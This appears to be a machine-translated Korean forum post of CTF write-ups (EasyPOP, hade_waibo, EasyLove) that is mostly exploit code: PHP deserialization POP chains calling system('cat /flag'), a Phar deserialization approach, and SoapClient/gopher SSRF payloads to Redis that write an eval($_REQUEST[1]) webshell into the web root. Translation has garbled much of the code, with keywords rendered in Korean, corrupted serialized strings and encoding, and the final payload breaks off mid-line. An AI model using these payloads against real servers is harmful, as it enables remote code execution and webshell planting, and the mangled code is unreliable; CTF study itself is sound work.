KoreanHackerTeam
Moderator
EasyPOP
문제 환경은 PHP 7.4이므로 모든 속성 유형을 공개로 직접 변경할 수 있습니다.출발점은 미안 클래스의 __destruct ()이며,이 힌트는 쇼 클래스의 __toString () 메소드로 echo $로 호출 된 다음,이 ctf-show ()를 $이 ctf-show ()를 실행하여 Show () 방법에 액세스하여 Show () 방법에 액세스하여 Show () 방법에 액세스하여 비밀 _code 클래스의 __call ()로 점프합니다. $ name ()를 통해 정밀 클래스의 __invoke ()
팝 체인은 다음과 같이 구성됩니다
? php
클래스 괜찮습니다
{
공개 $ cmd;
공개 $ 컨텐츠;
}
수업 쇼
{
공개 $ CTF;
공개 $ 시간;
}
수업 죄송합니다
{
공개 $ 이름;
공개 $ 비밀번호;
공개 $ 힌트;
공개 $ 키;
}
클래스 비밀 _code
{
공개 $ 코드;
}
$ e=새로운 fine ();
$ e-cmd='시스템';
$ e-content='cat /flag';
$ d=새로운 죄송합니다 ();
$ d-key=$ e;
$ c=new Secret_code ();
$ c 코드=$ d;
$ b=새로운 쇼 ();
$ b-ctf=$ c;
$ a=새로운 미안 ();
$ a-name='123';
$ a-password='123';
$ a-hint=$ b;
에코 직렬화 ($ a);
마지막으로 숫자를 변경하고 __wakeup을 우회하십시오
http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/? POP=O:5:'SORRY':4: {S3:43:'NAME '; s :'123 '; s333333:'Password'; S:'Hint '; O:4:'Show'3333: {S:4:'CTF'; O33333333333333:113:'SEC ret_code':1: {s:4:'code '; O33333333:'Sorry':4: {s:433:'name'; n; s333333:'; s33333333: 힌트 '; n; s:'key'; o:4:'fine': {s: 'CMD'; S:6:'System '; S:7:'Content'; S:9:'Cat /flag ';}}} s:4:'time'; n;} s:3:'key '; n;}

hade_waibo

Cancan은 모든 파일을 읽어야합니다
http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php? M=showfilename=file.php
file.php
..
? php
error_reporting (0);
session_start ();
'class.php'포함;
if ($ _ session [ 'Islogin']!==true) {
Die ( 'ScriptAlert ('감사합니다. '); location.href='index.php '/script');
}
$ form='
양식 action='file.php?
입력 유형='파일'이름='파일'
버튼 클래스='미니 UI 버튼'font 스타일='수직-알림 : 상속;'font style='vertical-align: 상속;'
제출하다
/글꼴/글꼴/버튼
/형태';
$ file=새 파일 ();
스위치 ($ _get [ 'm']) {
케이스 '업로드 ':
if (empty ($ _ files)) {die ($ form);}
$ type=end (Explode ( '.', $ _files [ 'file'] [ 'name']));
if ($ 파일 확인 ($ type)) {
다이 ($ file-upload ($ type));
}또 다른{
다이 ( '오일 케이크를 먹나요');
}
부서지다;
사례 'Show ':
다이 ($ 파일 쇼 ($ _ get [ 'filename']));
부서지다;
사례 'RM':
$ file-rmfile ();
다이 ( '모두 삭제되고 꼬집음');
부서지다;
사례 '로그 아웃 ':
Session_Destroy ();
다이 ( 'scriptalert ('logined out '); location.href='index.php '/script');
부서지다;
기본 :
에코 'h2halo! '. $ _ 세션 ['username '].'/h2 ';
부서지다;
}
?
..
class.php
‘? php
클래스 사용자
{
공개 $ 사용자 이름;
공개 함수 __construct ($ username) {
$ this-username=$ username;
$ _session [ 'Islogin']=true;
$ _session [ 'username']=$ username;
}
공개 기능 __wakeup () {
$ cklen=strlen ($ _ session [ 'username']);
if ($ cklen!=0 및 $ cklen=6) {
$ this-username=$ _session [ 'username'];
}
}
공개 함수 __destruct () {
if ($ this-username=='') {
Session_Destroy ();
}
}
}
클래스 파일
{
#블랙리스트를 화이트리스트에 올려서 더 안전하게 만듭니다
public $ white=array ( 'jpg', 'png');
공개 기능 쇼 ($ filename) {
echo 'div class='ui action input'input type='text'id='filename'placeholder='search .'button class='ui button'onclick='window.location.href=\'file.php? m=showfilename=\ '+docum
if (empty ($ filename)) {die ();}
'IMG SRC='DATA:IMAGE /PNG; BASE64, 'BASE64_ENCODE (FILE_GET_CONTENTS ($ FILENAME)).' ' /';
}
공개 기능 업로드 ($ 유형) {
$ filename='dasctf'.md5 (time (). $ _ files ['file '] ['name ']).'. $ type ';
move_uploaded_file ($ _ files [ 'file'] [ 'tmp_name'], 'upload/'. $ filename);
반품의 성공을 반환하십시오! Path: 업로드/'. $ filename;
}
공개 함수 rmfile () {
시스템 ( 'rm -rf/var/www/html/upload/*');
}
공개 기능 확인 ($ 유형) {
if (! in_array ($ type, $ this-white)) {
거짓을 반환합니다.
}
진실을 반환하십시오.
}
}
#악성이고 흥미로운 테스트 클래스를 업데이트했습니다
수업 테스트
{
공공 $ 값;
공개 함수 __destruct () {
chdir ( './upload');
$ this-backdoor ();
}
공개 기능 __wakeup () {
$ this-value='꿈을 꾸지 마십시오.
}
공개 함수 __toString () {
$ file=substr ($ _ get [ 'file'], 0,3);
file_put_contents ($ file, 'hack by $ file!');
'도달 할 수없는 반품!);
}
공개 기능 백도어 () {
if (preg_match ( '/[a-za-z0-9? $@]+/', $ this-value) {
$ this-value='nono ~';
}
시스템 ($이 값);
}
}
테스트 클래스를 사용할 수 있습니다. 가장 먼저 생각하는 것은 Phar deserialization입니다.
.Executing 명령을 사용하여 일반을 우회 할 수 있습니다

아이디어는 먼저 PHAR 파일을 업로드 한 다음 JPG를 업로드하는 것입니다.
예를 들어, JPG의 이름은 PHAR 앞에 있어야합니다. 예를 들어, PHAR의 이름은 dasctfe4.jpg이고 명령을 포함하는 JPG의 이름은 dasctfc2.jpg 또는 dasctf01.jpg 여야합니다 (ASCII 코드는 더 작습니다).
그러나 시도 할 때, 나는 깨우기를 우회하는 것을 발견했습니다.
그런 다음 easylove 질문을 할 때 root 디렉토리에 START.SH 배포 스크립트가 있다는 것을 기억했습니다. 질문에 대한 설명을 기반으로/디렉토리 아래 파일의 TIP:FLAG이므로 시작을 직접 읽습니다.


깃발을 얻으려면 /ghjsdk_f149_h3re_asdasfc


EasyLove
제목에 설명 된 Redis에 따르면 SSRF + redis를 통해 getshell이 될 것이라고 추측합니다.$ this-love=new $ this-wllm ($ this-arsenetang, $ this-l61q4cheng); 이 문장은 분명히 특정 클래스를 통해 SSRF를 실행하는 것입니다.
우리 모두 알다시피, Redis 프로토콜은 매우 느슨하고 패킷을 보내기 위해 HTTP의 사용을 지원하는 반면, PHP에 기본 SOAPClient 클래스는 HTTP를 보낼 수 있습니다.
다음과 같이 페이로드
? php
클래스 SWPU {
공개 $ wllm;
공개 $ arseneng;
공개 $ L61Q4CHENG;
공개 $ 사랑;
}
$ a=새로운 swpu ();
$ a-wllm='soapclient';
$ a-arsenetang=null;
$ target='http://127.0.0.1:6379/';
$ poc='flushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset xzxzxz'?=Evary (\ $ _ request [1])? '\ r \ nsave';
$ a-l61q4cheng=배열 ( 'location'=$ target, 'uri'='hello \ r \ n'. $ poc. '\ r \ nhello');
echo urlencode (Serialize ($ a));
시험 중에 갇혀 (정상 현상), 쉘을 방문하면 404도 보여줍니다.
그래서 나는 Redis가 인증을 가질 수 있다고 추측했다. 질문에서 힌트 클래스를 읽고 file_get_contents ()를 통해 hint.php의 내용을 얻었습니다.
에코없이 직접 힌트를 사로화하십시오. 결과적으로 file_get_contents ()+ Gopher를 시도하고 싶을 때 우연히 hint.php를 읽습니다.

? php
클래스 힌트 {
공개 $ 힌트;
}
$ a=새로운 힌트 ();
$ a-hint='GoPher: //127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0D%0A%241%0D% 0A1%0D%0A%2422%0D%0A%0A%0A%3C%3FPHP%20PHPINFO%28%29%3B%3F%3E%0A%0A%0A%0D%0A%2A4%0A%0A%246%0D%0D%0DACONFIG%0D% 0A%243%0D%0ASET%0D%0A%243%0D%0D. 43%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%0D%0ASHELL.PHP%0D%0A%2A1%0D%0A%244%0D%0D%0A%0A ';
에코 직렬화 ($ a);
http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/? hel LO=O:4:'HINT':1: {S:4:'HINT '; S:404:'GO Pher: //127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3 %0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3FPHP% 20phpinfo%28%29%3b%3f%3e%0a%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A %243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/var/www/html%0D%0A% 2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%0D%0D%0D%0D%0A1%0A%244%0ASAVE%0AD%0AD%0AD%0ASAVE

추측 20220311은 Redis의 비밀번호라고 생각합니다
따라서 최종 페이로드는 다음과 같습니다
? php
클래스 SWPU {
공개 $ wllm;
공개 $ arseneng;
공개 $ L61Q4CHENG;
공개 $ 사랑;
}
$ a=새로운 swpu ();
$ a-wllm='soapclient';
$ a-arsenetang=null;
$ target='http://127.0.0.1:6379/';
$ poc='Auth 20220311 \ r \ nflushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset